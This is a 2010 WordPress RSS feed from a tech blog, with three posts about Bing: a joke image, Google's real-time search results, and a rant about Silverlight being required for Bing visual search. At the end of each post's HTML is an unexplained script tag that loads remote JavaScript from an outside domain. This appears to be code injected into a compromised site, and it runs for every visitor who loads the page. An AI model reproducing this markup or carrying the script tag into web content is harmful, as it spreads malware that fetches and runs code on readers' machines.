<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EndofWeb &#187; bing</title>
	<atom:link href="http://endofweb.co.uk/tag/bing/feed/" rel="self" type="application/rss+xml" />
	<link>http://endofweb.co.uk</link>
	<description>This is how the Web will end.</description>
	<lastBuildDate>Wed, 23 Jun 2010 11:10:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<atom:link rel='hub' href='http://endofweb.co.uk/?pushpress=hub'/>
		<item>
		<title>Bing</title>
		<link>http://endofweb.co.uk/2010/01/bing/</link>
		<comments>http://endofweb.co.uk/2010/01/bing/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 03:07:45 +0000</pubDate>
		<dc:creator>primatage</dc:creator>
				<category><![CDATA[fail]]></category>
		<category><![CDATA[lol]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[bing]]></category>
		<category><![CDATA[chinese]]></category>

		<guid isPermaLink="false">http://blog.endofweb.co.uk/?p=1255</guid>
		<description><![CDATA[LOL. &#160; Image: imgur. &#160;]]></description>
			<content:encoded><![CDATA[<p><img src="http://endofweb.co.uk/wp-content/uploads/2010/01/bing.jpg" alt="" title="bing" width="375" height="500" class="aligncenter size-full wp-image-1256" /></p>
<h2>LOL.</h2>
<p>&nbsp;</p>
<p><small>Image: <a href="http://i.imgur.com/eSYZr.jpg">imgur</a>.</small></p>
<p>&nbsp;</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://endofweb.co.uk/2010/01/bing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Search to Incorporate Real-Time Data</title>
		<link>http://endofweb.co.uk/2009/12/google-search-to-incorporate-real-time-data/</link>
		<comments>http://endofweb.co.uk/2009/12/google-search-to-incorporate-real-time-data/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 05:54:09 +0000</pubDate>
		<dc:creator>primatage</dc:creator>
				<category><![CDATA[google]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[social-media]]></category>
		<category><![CDATA[social-networking]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[bing]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[win]]></category>

		<guid isPermaLink="false">http://blog.endofweb.co.uk/?p=1180</guid>
		<description><![CDATA[Yes, they&#8217;ve finally done it. After months of talk about incorporating the mounds of real-time data to which Google has access, they&#8217;re finally piping it all into their own search results. The sources they listed are some pretty big names: Facebook, Twitter, FriendFeed, MySpace, and Jaiku, among others &#8212; and that&#8217;s not counting the major [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><object width="600" height="485"><embed src="http://www.youtube.com/v/WRkYmx4A9Do&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="600" height="485"></embed></object></p>
<p>Yes, they&#8217;ve finally done it. After months of talk about incorporating the <strong>mounds</strong> of real-time data to which Google has access, they&#8217;re finally piping it all into their own search results. The sources they listed are some pretty big names: Facebook, Twitter, FriendFeed, MySpace, and Jaiku, among others &#8212; and that&#8217;s not counting the major media outlets they&#8217;ve also tapped to glean time-sensitive information.</p>
<h2>See the <a href="http://googleblog.blogspot.com/2009/12/relevance-meets-real-time-web.html">official release</a> for more details.</h2>
<p>Annoyingly, of course, all anyone can say about this (aside from <em>it&#8217;s about damn time</em>) is that &#8220;Bing must be nudging them to be more competitive.&#8221; I can&#8217;t help but recall the fact that Google was in talks with Twitter regarding real-time search results <em>several months before Bing ever existed</em>.</p>
<p>&nbsp;</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://endofweb.co.uk/2009/12/google-search-to-incorporate-real-time-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silverlight? For a Search Engine?</title>
		<link>http://endofweb.co.uk/2009/09/silverlight-for-a-search-engine/</link>
		<comments>http://endofweb.co.uk/2009/09/silverlight-for-a-search-engine/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 10:03:03 +0000</pubDate>
		<dc:creator>primatage</dc:creator>
				<category><![CDATA[fail]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[bing]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://blog.endofweb.co.uk/?p=836</guid>
		<description><![CDATA[Image via Bing. Yesterday, I read in Mashable that big Redmond released the newest beta adventure for their upstart search engine, Bing. I wasn&#8217;t originally planning on posting anything about this, because it&#8217;s non-news, but it&#8217;s been irking me all day. So what was this release? They&#8217;ve apparently come up with a visual search. This [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://endofweb.co.uk/wp-content/uploads/2009/09/bing_sl.jpg" alt="bing_sl" title="bing_sl" width="580" height="294" class="aligncenter size-large wp-image-837" /><br />
<small>Image via <a href="http://www.bing.com/visualsearch">Bing</a>.</small></p>
<p>Yesterday, I read in <a href="http://mashable.com/2009/09/14/bing-visual-search/">Mashable</a> that big Redmond released the newest beta adventure for their upstart search engine, Bing. I wasn&#8217;t originally planning on posting anything about this, because it&#8217;s non-news, but it&#8217;s been irking me all day.</p>
<p>So what was this release? They&#8217;ve apparently come up with a <strong>visual search</strong>. This idea all on its own isn&#8217;t so bad, it&#8217;s even novel, and I think it&#8217;s worth a shot just to see how it goes, but that&#8217;s not the issue here. <span id="more-836"></span></p>
<p>The issue is this: In order to use this experimental <strong>search</strong>, and that&#8217;s bold for a reason, you must install <a href="www.microsoft.com/Silverlight/">Silverlight</a>. <em>Really</em> Microsoft? You want to try to force the most unwanted of all media software in the history of media software on the public just to try an <em>experimental feature</em> for your crappy search engine?</p>
<h3>Try it yourself: Bing <a href="http://www.bing.com/visualsearch">Visual Search</a>.</h3>
<p>In what universe, exactly, is Microsoft living? Becuase it&#8217;s certainly not this one. They don&#8217;t seem to have the simplest grasp on reality &#8212; not one decision they make seems to make any sort of business sense.</p>
<p>I&#8217;m glad it really doesn&#8217;t affect me personally, since I absolutely <strong>shun</strong> any shred of the garbage they push as software. That doesn&#8217;t mean that I&#8217;m not bothered when I see it happen, considering <em>most people</em> do actually use their rubbish. I&#8217;ll end my rant now, before it goes all <em>Dennis Miller</em> and consumes the rest of my database.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://endofweb.co.uk/2009/09/silverlight-for-a-search-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
